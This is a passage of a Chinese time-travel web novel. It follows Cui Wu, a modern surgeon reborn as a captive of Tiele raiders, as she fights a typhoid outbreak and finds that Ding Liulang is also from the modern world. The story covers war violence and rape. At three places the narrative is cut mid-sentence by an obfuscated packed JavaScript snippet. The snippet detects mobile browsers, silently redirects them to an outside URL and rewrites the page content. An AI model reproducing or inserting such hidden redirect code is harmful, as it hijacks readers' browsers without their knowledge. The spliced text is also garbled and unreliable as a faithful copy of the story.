丁六郎没说话,想来他也意识到,自己出面并没能帮到崔芜,还险些害了她的性命。 短暂的沉默后,他问道:“怎么就你一人?你哥呢?” 崔芜将被子拉下来,眯眼瞧着丁六郎。 她没见过这男人,却不难从他与丁三郎的对话中推测一二。想来,这位也是丁家子弟,跟着同族兄长北上见世面,却不想时运不济,遇上外族破城,被困在这叫天天不应、叫地地不灵的鬼地方。 “你怎知我与兄长不在一处?”她反过来试探道,“你见过他?” 丁六郎:“没。我要是见过他,也就不用问你了。” 崔芜并没有失望,反倒松了口气。萧二没有出现在俘虏营,意味着他与部曲顺利汇合,逃过了一劫。 ……又或者,他死在铁勒破城之际,尸骨无存。 崔芜拒绝考虑第二种可能,凡事只往好处想:“兄长有事要办,先行一步,我也不知他身在何处。” 丁六郎不知是有心安慰她,还是没话找话:“那就好,我看你哥挺有能耐的,要是脱身了,一定会回来救你。” 崔芜奇道:“你怎么知道?” 四月的汴梁城郊,入夜后有些寒凉。丁六郎摸索着拖过薄毯,裹成一团蜷在火边:“当初在船上,丁三……我三哥看你长得漂亮,想用五百贯买了你,你哥死活不答应。姓季的掌柜几次想动手掳人,也被你哥挡了下来。” “他这么心疼你,怎么可能不救你?” 崔芜被“心疼”两个字戳了心窝,许多被刻意压制的回忆,猝不及防地翻涌上来。 她理解的心疼,是高三备考时压力大睡不着觉,母亲一边嫌弃地嗔怪“年纪不大,心事不小”,一边到处问治失眠的法子。 是她考中远在外地的大学,父亲一边念叨“这么大的姑娘了就该让你自己锻炼”,一边坚持买了火车票,扛着大包小包送她到了校园门口,全程没舍得让她沾手。 是她电话里随口说一句想吃螃蟹,十一回家餐桌上就摆着红彤彤的清蒸大闸蟹。 是她感冒高烧,一个人去医院吊水,大半夜打电话哭唧唧地说想回家。第二天清早睁开眼,看见连夜打飞的的父母坐在病床边,茶几上摆着她最爱吃的白糖饼和豆腐脑。 穿越多年,她几乎忘了这两个字里藏着多深的情谊,多浓的眷恋。 崔芜吸了口气,及时打住不受控的思绪,疑惑道:“兄长拒了丁三郎君?什么时候的事?” “你小……生病那会儿,”丁六郎说,“我三哥嘴上说想聘你为妻,其实是想把你当礼物献给北地豪强,拉拢外援。” “我在门外偷听到,还留了张字条给你哥报信,怎么,他没跟你提过?” 崔芜第一次听说这事,稍微一想便明白过来,多半是她当时刚小产,精神不济身体虚弱,萧二怕扰了她休养的心思,是以一字未提。 可能是早在船上时就有所察觉,也或许是习惯了对旁人的好意不抱期待,崔芜并未对丁三郎的龌龊心思感到愤怒,只是有些惊讶,也有些不解。 惊讶萧二在自己不知道的时候,默默替她解决了这么多麻烦。 不解两人非亲非故,她崔芜何德何能,值得萍水相逢之人做到这份上。 “丁三郎君总算救过我,如今人已不在,往事不必再提,”崔芜淡淡道,“丁六郎君,你日后有何打算?” 丁六郎抬头:“你什么意思?” “铁勒人不会在中原久留,到时返回关外,势必要将我等俘虏一并带走,”崔芜说,“丁六郎君家大业大,少了三郎君这个压在头上的兄长,家里只有更器重的份。” “你若想逃,还须趁早。” 丁六郎没接“想逃”的茬,而是抓住关键点:“铁勒人不会久留中原?你怎么知道?” 崔芜是怎么知道的? 因为在另一个时空,外族同样打入后晋都城,甚至建立起全新的王朝,意图将中原沃土变为族人的跑马场。 却不曾想,外族的倒行逆施激起中原汉室的激烈反抗。数十万汉人拧成一股绳,声潮浩大来势汹汹,胡帝屁股底下的龙椅坐不稳,亦不适应中原气候,只得匆匆撤出关外。 如今时空虽异,情理却同。且崔芜仔细留意了胡人军帐规模,远远达不到国战兵力,便知此番破城纯属奇袭,十有八九不会久留。 事实证明,她的判断是正确的。 铁勒轻骑在城外停驻了十日,期间汴梁城遭遇了百年不遇的浩劫,后晋国库多年积累被劫掠一空,雕梁画栋亦付诸一炬。 火光冲天而起,烧碎了晋帝千秋万岁的大梦。 与俘虏营里朝不保夕的都城百姓相比,崔芜这些天还算好过,每日吃食不缺,甚至有清水梳洗。 早起后,她先去胡都营帐,确认这位身板过硬,没发烧也没感染,便将这胡人将军留给须发斑白的老郎中们玩耍。她自己则转去伤兵营,将伤势较重的兵卒扒拉出来,目的只有一个,练手。 她是外科出身,把脉看诊或许不比浸润其中数十年的老郎中精准,动刀却极利索。同样是截肢保命,由她下手,伤兵的叫喊声硬是比临时寻来的杀猪匠轻上三分。 当然,也有可能是看美人看出了神,忘了喊疼。 但是落在耶律将军眼里,这就是崔芜的功劳。 胡人心思简单,只认一个理:不管她是汉是胡,也不管她是不是女子,只要有利用价值,就得像宝刀骏马一样好好爱护。 于是当天晚上,几个白日里对崔芜动手动脚的士卒受了军法,拖到空地上实打实挨了二十军棍。 与此同时,送到崔芜营帐的晚食翻倍丰盛,有胡饼有烤肉,甚至还有一壶热腾腾的奶茶。 虽然奶是泛着腥味的羊奶,茶也是气味苦涩质量低劣的茶末,可对崔芜来说,只要能调养身体滋补元气,都是好东西。 她十分慷慨地分了丁六郎一半,剩下的就着胡饼烤肉,全塞进自己肚子里。如果搁在现代,她看都不会看一眼——一碗奶茶多少热量?一块烤肉多少脂肪?这不是纯纯长肉的节奏? 可是在朝不保夕的乱世,热量是保命灵丹,脂肪是救命稻草,尤其对刚小产过的女性而言,有多少都不嫌够。 丁六郎却吞得有些艰难,他对着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莲座上的金身不渡人,高居庙堂的贵人不管事,她只能自渡。 又三日,铁勒大军启程北归,胡人掳掠的汴梁百姓果然被裹挟在队伍中。 崔芜亦在其列,只是她日日在伤兵营混着,已经混成半个军医,更兼胡人凶悍,心性却多憨直,承了她的照顾,待她总比旁的俘虏客气几分。 是以,崔芜不必如旁的俘虏一般绑成一串艰辛跋涉,而是裹着皮毯坐在粮车上,连带丁六郎也沾了她的光。 此时已近五月,纵然一路北上,却不见想象中“千里冰封,万里雪飘”的景象(1)。春风过境,冻土催化,绿意生发。官道两旁时而可见探头野花,虽只零星数点,却不难想象来日乱花迷眼的盛景。 崔芜一时多瞧了两眼,就看到乱花与浅草深处,明显浅了一个色调的异物。 是腐化了一半的尸骸。 个头瘦小,身量不足,约莫是未长成的孩童。 崔芜胸口一窒,眼前的春日盛景骤然退色,脑中莫名浮现出几句话—— 白骨露于野,千里无鸡鸣。生民百遗一,念之断人肠。(2) 再一次地,崔芜心生感慨:可惜,我麾下无兵,手中无权…… 崔芜并不打算与胡人一世为伍,从入胡营的第一天就在盘算出路。 前提是,她知道往哪跑。 如今世道纷乱,苍生如刍狗,若不能寻得一方豪强庇佑,到哪都是任人宰割的命数。 在经历汴梁城破之前,崔芜是这样想的,如今却有了别的看法。 纵然豪强势大、金主靠谱,也难保没有别的变数——好比萧二,一路行来对崔芜照拂有加。甚至有一度,崔芜生出随他去新东家考察一番,若是靠谱,就把自己“卖”给人家的念头。 可汴梁城破、胡骑肆虐,靠谱如萧二都有鞭长莫及的时候。可见如今的世道,靠山山会倒,靠人人会跑。 只有自己,永远不会辜负自己。 打定主意后,崔芜反倒不急着跑了。幸而四月末的时节,北地天气亦是转暖,她有粮车代步,跟着铁勒大军赶路也不算太辛苦。每天吃饱睡足,只安心将养身体,如此半个月后,同行百姓倒的倒、病的病,她自己反倒壮实一圈。 就在这时,崔芜发现,铁勒人的行军路线有些不太对劲。 12. 第十二章 伤寒 崔芜本以为胡人收获颇丰,会立即折返关外,不曾想离了中原地界,原本浩浩荡荡的队伍一分为二:一半人马押着部分俘虏继续向北,另一半却是往西而去。 很不幸,崔芜就在西行的队伍中。 她本人对向北还是向西并无太大意见,唯一的影响是,越往西,气候越干旱,人烟也肉眼可见地荒芜。 又行七八日,每日清水洗漱的待遇也没了,只能蓬头垢面见人。待到后来,风沙渐大,崔芜不得不用麻布将头脸包裹起来,免得吃一嘴沙子。 同行的俘虏比她更艰难,这般连日跋涉,年老体弱的泰半倒在半路,剩下的多是壮丁与年轻女子。饶是如此,忍饥挨饿地赶了一个月的路,众人境况也着实不佳,每日都有人掉队。押送的胡兵不管救治,直接将人丢进山沟喂狼。 类似的景象每一日都在上演,同伴亲人固然哭号连天,却换不回胡兵心软,反而招来一顿皮鞭。次数多了,崔芜尚能视若无睹,丁六郎却有些受不住,他倒不至于上前阻拦,只用破破烂烂的皮毯蒙住脑袋,权当自己一双耳朵瘸了。 直到某一日,队伍里传来惨叫,一个瘦瘦小小的男孩倒在地上,嘴唇蜡黄不省人事。 胡兵连抽两鞭,瞧着没动静,故技重施地将人拖起,就要扔进路边沟渠。身后忽然传来怒吼,一个身量高大的汉子扑过来,将胡兵撞到一边,俯身把男孩护在怀里。 胡兵连连怒吼,皮鞭雨点般抽落,都被汉子用厚实的脊背挡住。如此僵持片刻,胡兵不耐烦了,刷地拔出弯刀,抬手挥出一道极凌厉的劲风。 这一幕落在丁六郎眼里,强忍了一路的圣母心终于熊熊爆发。他不顾一切地冲上前,撞开挥刀的胡兵,张开双臂挡在男孩与汉子身前。 “你们这一路杀了多少人!”他愤怒得眼珠通红,厉声嘶吼,“沿途的河道快被尸体填满了,够不够!够不够!” 情绪激动之下,他吼得太急太快。胡兵根本没听懂他嚷嚷了什么,只知道汉人奸诈惫懒,若不处置了刺头,效仿者只会层出不穷。 于是懒得与他啰嗦,胡刀再次挥落。 就在这时,身后传来清脆的铁勒语:“住手!” 这人的语气太笃定,透着不容置喙的决断。胡兵愣了愣,势在必得的一刀居然没落下。 他回过头,只见说话的正是扮作男装的崔芜。 胡兵知道这个中原女人颇受自家统帅看重,也听说了她救治伤兵的事迹,心里却颇不以为然。此时见她出头,有心给一个下马威,弯刀非但不曾收起,反而指向崔芜:“这里没你的事,滚回去!” 谁知崔芜压根不搭理他,径直走到汉子身前,将人扶起后,又去探那男孩脉搏。 胡兵被晾在一旁,难免恼羞成怒,一时顾不得耶律将军的叮嘱,抬手去薅崔芜衣领。 崔芜忽然回过头,神情严肃:“去禀告耶律将军,立刻就地扎营,然后检查汉人俘虏,凡是出现发热症状的,全部隔离关押。” 胡兵动作顿住,一愣:“你说什么?” 崔芜见他没听懂,只得把话说明白些:“他得了瘟疫,会过人的,还不照做!” 胡兵神色蓦变,虽半信半疑,却不敢拿“瘟疫”开玩笑,转身飞快跑了。 瘟疫的杀伤力不是一般的大,不到一炷香,“就地扎营”的命令已然传遍全军。耶律将军亲自带人赶来,劈头就是一句:“你确定是瘟疫?” 彼时营帐已经立起,崔芜将自己的帐篷让出,给发热的男孩养病用。但凡进入帐篷之人,都须面罩蒙脸,一军统帅也不例外。 “这孩子发热、头痛,脉浮而弱,舌苔薄白,当为外感风邪引起的伤寒,”崔芜说,“此病极易过人,须隔离诊治,其他人若有无故发热的,也请单独看顾。” 耶律将军没说话,垂眸抚刀,眼底掠过冷意。 崔芜知道他在想什么,加重了语气:“将军!伤寒之症与旁的疫病不同,过起人来速度极快,眼前看就这孩子一个,实则这些天,所有人同吃同住同行同卧,过了病气的不知凡几。” “纵然弃了这孩子,也难保俘虏中没有旁人发病。就算您将俘虏都杀了,飞溅的鲜血和□□也会传播病气,到时,您还能将麾下精锐也一并除了?” 她刻意夸大病情,说起话来半真半假。耶律将军却没那么容易上当,皱眉道:“真有这么厉害?我怎么没听说过?” 崔芜早有准备,笑了笑:“将军可曾听说令西域楼兰一夜覆灭的‘热窝子病’?”(1) 耶律将军倏尔变色。 所谓“一夜灭国”是夸张的说法,但楼兰古国确实是在极短的时间内销声匿迹,而且不是简单被吞并,而是真正意义上的,一草一木、一人一兽都没留下。 “国久空旷,城皆荒芜”,这是大唐高僧玄奘西游经过楼兰古城时,亲笔留下的记载。(2) 一个普遍得到认可的解释是,当时的楼兰人得了一种急性瘟疫而大量死亡,幸存者无奈之下,只得弃城而逃。 瘟疫的名字就是“热窝子病”,据学者考证,也就是曾让中原汉室“家家有位尸之痛,室室有号泣之哀”的伤寒。(3) 耶律将军显然听说过“热窝子病”的恶名,脸色难看至极。 “百多年前,此病曾于中原肆虐,患者高热气喘,有些甚至出现血块淤肿,不过两三日就死去,”崔芜说,“那一次,中原百姓总有千万人死于瘟疫——将军,您想眼看自己的士兵步他们的后尘吗?” 耶律将军眼神冷得可怕:“你能治吗?” 崔芜其实没有完全的把握,但她知道,一旦自己怂了,这胡人主帅下一道命令,一定是将掳掠来的千余百姓就地坑杀,以绝后患! “能治!”崔芜压下心虚,用最笃定的语气说道,“不过,我需要一片干净安稳的营地,将病员隔离安置。还有,我需要药材,越多越好。” 耶律将军沉吟片刻,扭头看向西北方。 崔芜亦跟着回头,就见天与地交接处,隐隐浮起一带青色山脉。 她将眼前景与刻印在脑海中的舆图作对比,方才恍然,原来月余赶路,已经越过幽云十六州,来到阴山脚下。 横亘在眼前的广袤原野,就是“黄河百害,唯富一套”的塞上江南——河套平原。 在前朝国力最为强盛时期,这片塞上沃土一直被当作国朝后花园。此时的沙漠化进程远远没有开始,后世的乌兰布和沙漠、库布齐沙漠,还有毛乌素沙地,连影子都摸不着。 阴山脚下,长草连天,农耕与畜牧文明在长生天拥抱的国度水乳交融。天风拂过山脚,拨开葱茏草木,无边绿意中点缀着如云营帐和成群的牛羊,天神最慷慨的恩赐在这里显露无遗。 然而此刻,草场与耕田上空笼罩着阴霾,牧人进进出出,将死去同伴的尸首抬去空地。 被神眷顾的国度,同样遭到瘟疫的侵蚀。 粮车上的崔芜拂去额前乱发,瞧着远处营帐中央,迎风拂振的“李”字大旗,眉头微微蹙紧。 她一路上没少探听情报,知道这所谓的“李”姓其实是前朝赐姓。首领出自党项族,因前朝末年救驾有功,受封节度使,更给予国姓的至高荣耀。 随后,前朝覆灭,中原征战不休,各方势力轮流登场,却都自顾不暇,更无余力染指这片远在河套的宝地。 只能眼睁睁看着李家人将其堂而皇之地盛在盘子里。 “姓耶律的不好好经营关外那片地盘,跑来河套做什么?”崔芜惊疑不定地想,“铁勒和党项凑到一起,绝不只是串个门这么简单,能让这两边吃到一个盘子里的,莫非是……” 她转头向南,郁郁葱葱的草场与林木映入视野,翠意无穷,她却并不觉得疏阔,心头反而沉甸甸的,像是被什么压住了。 因着突如其来的疫病,铁勒军并没有靠近李氏军营,而是相隔百丈就地扎营。胡人按照崔芜所说,将高热与无异状的俘虏分开安顿,若有高热不退的士兵,也一并送进病区营帐。 崔芜一路上都在猜测,耶律将军不回关外老窝,非要往西边跑的理由,如今答案揭晓:在这依山傍水的福地中,居然藏了个规模不算小的互市! 参与交易的势力不止一方:有生于斯长于斯的党项族人,手眼通天的北地豪强,门路广泛的富贾行商,甚至还有来自玉门以西的西域商人。 凑在一起,堪比后世的联合国! 不过,也亏得如此,崔芜没花多少力气,就凑齐了治疗疫病所需的药材。 她也不跟胡人客气,强行征用了灶台和几口大锅,又把伙头军指使得团团转,从早到晚只做一件事:熬药! 药方是桂枝汤(4),这其实并不合理,盖因每个人的病症或有不同,单是脉浮脉沉一项,便可开出不同的方子。 但患病之人众多,崔芜没有对症下药的条件,只能一锅熬药,再根据病情缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467422|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急酌情添减。 而这还只是她每日工作的一小部分,除此之外,她还要密切关注重病患者的病情发展,指挥未发病的俘虏统一处理秽物,尽可能截断传染源。 更重要的是,她要安抚众人情绪。 此间俘虏成分之复杂,甚至超过了参与互市的各方势力,除了从中原腹地掳掠来的百姓,更有沿途劫持的各族人口。 好比那对险些死于胡兵刀下的兄弟,就是铁勒男人与中原女子混血所生。 草原部族可不讲究什么母凭子贵,孩子的出身倒有一大半是由母亲血统决定的。如汉家女奴所出的“杂种”,则是阶层中最卑贱的一类,男子继续为奴,女子则逃不过被主家凌辱的下场。 是以,当哥哥的才会冒险带着弟弟逃走,却没想到屋漏偏逢连夜雨,不仅撞上班师北归的铁勒大军,幼弟更染上了伤寒——这在当时几乎算是必死的疫症。 他们受人欺辱久了,对铁勒人固然恨之入骨,对中原人也不甚信任。崔芜每每送药,当兄长的都要先喝两口,等上一炷香没异样,才将剩下半碗喂给小弟。 崔芜冷眼瞧着,并未阻拦,只是不动声色地将药量加了一倍。 发热的铁勒胡骑更不用提,崔芜将他们单独关进一间营帐,汤药也是另起炉灶。 耶律将军看待麾下精锐,自然比牛马不如的俘虏金贵许多,崔芜一日十二个时辰,倒有六七个时辰是困在胡人营地,忍受呵斥是小,处理秽物也不难,可怕的是连日来不见好转,死去的重症患者越来越多,士兵对医者的信心不断下降,营中气氛也越来越紧绷。 崔芜察觉到,却什么也做不了。伤寒重症患者,会出现汗如雨下、二便失禁等阳亡阴竭之症,相当于现代医学中的心衰、呼衰等脏器衰竭病,以眼下的医疗条件,根本救无可救。 崔芜能做的,也只是开出回阳救急汤(5),药方是人参、附子、炮姜、麦冬、五味子、甘炙草,加减治疗。 幸而有耶律将军的亲兵压着,一时半会儿倒也不至于闹出大乱子。 直到夜色降临,她才获准离开胡兵驻地,但这并不代表她能回帐休息,她还要去俘虏营地为患者诊治。 按说都是中原子民,彼此血浓于水,总该好说话吧? 结果并没有。 中原百姓最是安分守己不过,给口吃食就能得过且过下去。然而这一路太艰辛,多少亲朋故友倒在北上途中,好容易到了目的地,又染上要命的瘟疫,谁能随遇而安? 恐惧、不安、悲愤,种种负面情绪堆积在胸口,总得寻个发泄的途径——可想而知,见天向胡人“献殷勤”的崔芜,成了众矢之的。 “砰”一声,药碗砸在地上,滚烫的药汤泼上崔芜裤脚。如今天气渐热,她穿得轻薄,脚腕皮肤当即红了一片。 崔芜不动声色地皱了皱眉。 摔碗的是个面色蜡黄的汉子,他妻子和小儿子死在北上途中,对胡人也格外仇恨。一双深深凹陷的眼瞪着崔芜,似是要喷出火来。 “我看到你给胡人将军治伤!”他咬牙切齿,“你还救了好多胡人……他们都是畜生!他们手上沾着汉人的血!” “你救了他们,你是胡人的狗,是叛徒!去向你主子讨好献殷勤,我不用你救!” 男人的话说出了不少人心声,一时间,无数道目光聚集在崔芜身上,或鄙夷、或憎恨、或麻木。 崔芜面无表情,弯腰捡起碎成几瓣的碗,还没来得及说话,一道身影闪电般冲上前,抬手就是一记大耳刮子。 “啪”一声脆响,蜡黄脸的汉子被打懵了,一时没回过神。 “少他妈在这道德绑架带节奏!不治?不治就滚,当人家欠你的!” 丁六郎看上去比崔芜还要愤怒,指着蜡黄脸汉子一通怒吼:“她是围着胡人献殷勤不假,可你他妈一双眼睛白长了,看不出她真正想救的是谁?” “若不是她救了那胡人将军,胡人会听她的?胡人不听她的,你们能安安稳稳躺在这儿喝药?早被拖出去就地挖坑埋了!” “你享着她的庇护,喝着她想方设法讨来的药,还嫌她开药的手脏?哦,敢情好处都被你一个人占了,当了婊子还想立牌坊是吧!” 崔芜:“……” 丁六郎一顿狂轰滥炸,落在她耳朵里,却只有四个字排众而出,分外清晰。 “道德绑架?”她匪夷所思地想,“这是古人会用的词吗?” 13. 第十三章 故知 丁六郎有一张比刀子还利的嘴,“啪啪”一通山呼海啸,直接把蜡黄脸汉子怼懵了。 他挡在崔芜身前,态度强硬地将所有不怀善意的目光怼了回去,抬手指向营帐门口,意思很明白:不想治就滚! 一片死寂。 人都有向生畏死之心,若非万不得已关头,没人会主动自绝生路。方才还怒视崔芜的众人纷纷消停,连首先发难的蜡黄脸汉子也不吭声了。 崔芜品了片刻,自觉该说不该说都被姓丁的代劳,压根没给她发挥的余地,于是将碎瓷收拾干净,又把泼洒的药汤打扫了:“我再去端碗药来。” 她转身要走,身后却有人怯怯道:“姐、姐姐……” 崔芜脚步一顿,转身看去。 说话的是混血兄弟中的幼弟,他原是最早发病,却因救治及时,恢复得也最快。不过短短五六日,已经能起身吃些流食,脸上也见了血色。 就一个十一二岁的男孩而言,他的身形过分瘦弱了些,缩在兄长怀里,像头饱受惊吓的小兽。见崔芜回头,他咽了口唾沫,伸手指住营帐一角:“那个姐姐,她、她好像,不太好……” 铁勒人肯给中原俘虏延医用药已是大发慈悲,对崔芜“男女分开安置”的要求根本不屑理会。是以病患只按症状轻重安顿,男女将就着混在一个营帐中。 被男孩指住的年轻女子蓬头垢面,看不出嫁人与否,只捂着小腹蜷成一团,闻言连连摇头:“我、我没事,只是有点胸闷,歇一歇就好了……” 崔芜挑眉,见了这似曾相识的举动,心里冒出一个揣测:“你有身孕了?” 年轻女子面皮紫涨,突然捂住脸孔,呜呜咽咽地低泣起来。 崔芜于是明白了,这姑娘多半是个在室女,只因命数不好,遇上外族破城这档糟心事,惨遭劫掠去国离乡不算,人也被铁勒胡兵糟蹋了。 如果说,有什么比被狗咬了更不堪,那就是怀了强迫自己之人的骨血。 以崔芜的冷心冷肺,这一刻都不禁生出感同身受的恻隐。 “这不是我的孩子,我不要这个孩子!”女子哽咽着,扑过去拽住崔芜衣角,“您是郎中,求您给我开副药,去了这孽障吧!” 若是搁在平时,崔芜兴许就答应了,然而眼下情况特殊,她犹豫片刻才道:“疫病伤身,若是此刻小产,伤上加伤,便是神仙也无力回天。” 她直定定地看着女子:“你想陪着孩子一起死吗?” 女子无言,只能默默流泪。 崔芜便知她尚存生志,弯腰将她攥住自己衣角的手拨开:“此地药材不易寻得,回头我想办法换些红糖,每日泡水与你饮下。” 说完,又看向“告状”的男孩:“你也是。这阵子注意保暖,别受凉了。” 男孩一愣。 女子跪地上给崔芜磕了个头。 崔芜不喜被人千恩万谢,看诊完毕便走出营帐。丁六郎默不作声地跟在后面,见她停下才道:“那人……大概是病昏头了,说了些疯话,你别跟他计较。” 崔芜没打算计较,只意味深长地盯住丁六郎。 丁六郎被她瞧得头皮发麻:“你干嘛这样看着我?” 崔芜慢条斯理地拖长音:“道德绑架——” 丁六郎浑身僵住。 只听崔芜续道:“这么反感道德绑架,你被键盘侠针对过?” 丁六郎:“……” 他后退一步,惊疑且难以置信地瞧着崔芜,嘴唇颤动半晌,憋出一句:“……少小离家老大回?” 崔芜想了想,试着接道:“安能辨我是雄雌?”(1) 丁六郎深吸一口气。 暗号对上了! 崔芜修炼多年,原以为可以做到天崩于前而泰然处之,事到临头才发现高估了自己。 哪怕她经历过生死关头,这世上终究有一种场面是她搞不掂的。 他乡遇故知。 这是古人总结的人生四大幸事之一,如果说,有什么比去国离乡、孤身漂泊在外时遇见同乡更值得高兴,那就是莫名其妙穿越乱世,怀揣满腔格格不入,被旧时代打磨得遍体鳞伤,原以为这辈子只能一个人走下去时…… 却突然发现,这黑沉如铁的天幕下,居然有人与自己一样。 他们有着不同的外表,迥异的家世,却因同出一源的灵魂,产生了奇妙的磁场引力。 丁六郎很激动,孤寂多年突然发现“老乡”,没什么比这个更振奋人心。 崔芜更激动,毕竟丁六郎尚且算是出身巨贾之家,吃过的苦头远远不及她过去十年。 “这里不是说话的地方,”却是崔芜先回过神,手背迅速抹过眼角,将渗出的泪光抹去,“去帐子里。” 丁六郎毫无异议,温驯地被她拖走了。 他乡遇故知的不止崔芜一个,帅帐之中,耶律将军也迎来数日来的第一位访客。 彼时,他正听亲兵回报疫病伤亡人数:“重症区死亡二十二人,轻症区暂时无人死亡,我们听了那个中原女人的话,把生病的人和健康的士兵隔离开,粪便秽物也单独处理,其他人果然没再染病。” “那个中原女人还跟我们要盐和糖,将军,给她吗?” 耶律将军垂眸,手指在矮几上敲了敲:“给患病的士兵准备盐和糖。” 这就是说,不管中原俘虏,任他们自生自灭的意思。亲兵懂了,却有些不甘心:“为什么要给那些两脚羊送药?他们什么都干不了!将军,您太仁慈了!” 耶律将军冷冷睨着他:“我给中原人送药,是为了让那个女郎中心甘情愿地救你们。” 亲兵不屑:“刀架在她脖子上,她就知道该怎么做了。” 耶律将军扶着额角,对手下的愚蠢不抱指望:“心甘情愿地做一件事,和敷衍了事,效果可能完全不一样。尤其是治病的郎中,你知道一个懂得药理的人,能用多少种手段让我们的勇士死于无形吗?” 亲兵动了动嘴唇,不吭气了。 “而且,这是瘟疫,是曾让西域楼兰一夜灭国的疫症!我不能拿勇士们的命冒险!” 亲兵到底没忍住:“您就这么相信那个女人?她毕竟是个汉人!” “如果她骗了我,”耶律将军眼神冷戾,“我会让她后悔来这世上走一遭!” “访客”就在这时登了门,来人穿着及膝灰色长泡,头戴宽檐儿毡帽,五官称得上深眉朗目,只是发型古怪了些——刻意剃短的头发只在顶上留了一撮,因为太过鲜明,反倒夺了五官的存在感。 “耶律将军,”他称呼熟稔,神色却极严峻,“是你将疫症带到这里,你知道我有多少族人因此病倒吗?” 他上来就问罪,态度可谓毫不客气。耶律将军却只淡淡一撩眼皮:“我不来,瘟疫就不会造访你的族人?据我所知,疫病最早是由中原人的商队带来的,是你与中原人做生意的愚蠢决定造成了这场灾祸,如今没法向族人交代,就想把脏水泼到铁勒的勇士身上?” 他冷笑:“如果你以为,草原的子民和秦家人一样软弱好欺负,我不介意用长刀帮你纠正这个看法——李恭将军。” 这发型标新立异的男人姓李,单名一个恭字,如果崔芜在这儿就会有印象,汴梁酒楼的说书先生提到过这位的事迹。 没凑,这就是那位坑了主家,又险些将千里河西走廊送到党项人手中的秦氏副将。 在说书人唱念俱佳的讲述中,他果敢狠辣、杀伐决断,差点让百年世家的河西秦氏绝了后。却不想这位当世枭雄远没有想象中风光,河西之地固然摸不着边,回到本族的大本营后,也只能扮演一个跑腿传话的角色。 可见传闻和现实之间,少说隔着一条九曲黄河。 耶律将军单名一个“璟”,其父曾任铁勒八部联盟长,后又设宴伏杀其余七部首领,统一铁勒逐部。 刨除其杀人不眨眼的霹雳手段不提,此人称得上雄才大略,一边是任用汉人、改革礼俗、建筑城郭、发展农商,一边又东征渤海、西伐各游牧部落,短短十年间,已然建起偌大一盘家业。 耶律璟是他的第二个儿子,时任铁勒兵马大元帅,虽非嫡长出身,却继承了其父的文韬武略。此番挥师南下,便是他力主促成,虽未俘获后晋宗室,却掠走大批俘虏财宝,赚得盆满钵满。 但他并不满足于此,转道向西,便是打着旁的主意,没曾想人算不如天算,什么都计划好了,老天却在这时撂下一场瘟疫,将他原本的打算砸得七零八落。 “瘟疫不结束,你和我谈什么都是空话,”耶律璟明白轻重缓急,再大的雄心壮志都得给士兵的性命让路,“我麾下勇士死了二十多个,出现病症的也有一百多人,再这么下去,精锐都得折在这儿!” 李恭一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473604|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣:“才死了二十几个?” 这话乍一听很欠揍,耶律璟却捕捉到言外之意:“你们死了几个?” 帐中有些闷热,李恭脱了毡帽,颇为烦躁地抓了抓头:“从发病到现在,总共有三百多人染上疫病,死了三四成。” 若是崔芜听到这话,定会拍着李恭肩膀安慰一句:当初中原地区瘟疫横生,十年内死亡率接近五成,病死三四成不算多了。 但李恭不满意:“那些郎中巫医都是废物,要不是还用得着,我早把他们拖出去砍了。” 耶律璟眼神闪烁,没接茬。 李恭目光却转了来:“你方才说,军中病死的不过两成,发病的也只有一百多人?我要是没记错,你这一趟带了不下三千轻骑?” 耶律璟知道瞒不过他,状若坦然:“不错。” 李恭死死盯着他:“三千轻骑,怎么才死这么几个?你该不会有事瞒着我吧?” 耶律璟沉默不语。 被谈论的当事人还不知自己如一块鲜美的肥肉,被循味而来的恶狼盯上了。她拖着刚相认的“同乡”回了单独的营帐,不过交谈三两句,就将各自老底交代得一干二净。 “丁肇安,三十岁,祖籍秀州……啊呸,上海,本科学的是机械工程,毕业后进了大厂,”他啧啧两声,不知是懊悔还是怨恨,“早知道就不卷了,优化就优化,大不了回家啃老!总好过现在,加班加到猝死,一觉醒来,居然回到万恶的封建社会,还成了压迫底层百姓的统治阶级!” 崔芜沉默片刻:“容我提醒一句,在这个时代,你们干商贾的属于士农工商最低贱的一类,连统治阶级都算不上,同样属于被压迫对象。” 丁六郎两只耳朵都耷拉下来。 崔芜想了想,安慰道:“不过,你运气已经很不错了,至少出身良家、吃喝不愁,要不是倒霉催遇上胡人南下这档糟心事,保不齐还能分些家产,当个悠哉游哉的富贵闲人。” 丁六郎听出苗头:“这叫运气不错?那你运气得有多背?” 崔芜也不藏着掖着:“我这具原身家里太穷,打小被爹娘卖进青楼。我谋划了七八年,好不容易逃出来,又被节度使的狗儿子看上,带回府里非逼着我做妾,为了跑路,小命都差点没了。” 丁六郎:“……” 他以为自己够悲催,听了崔芜的遭遇,才知道没有最惨,只有更惨。原先的自怨自怜,瞬间转化为汹涌澎湃的同情之心。 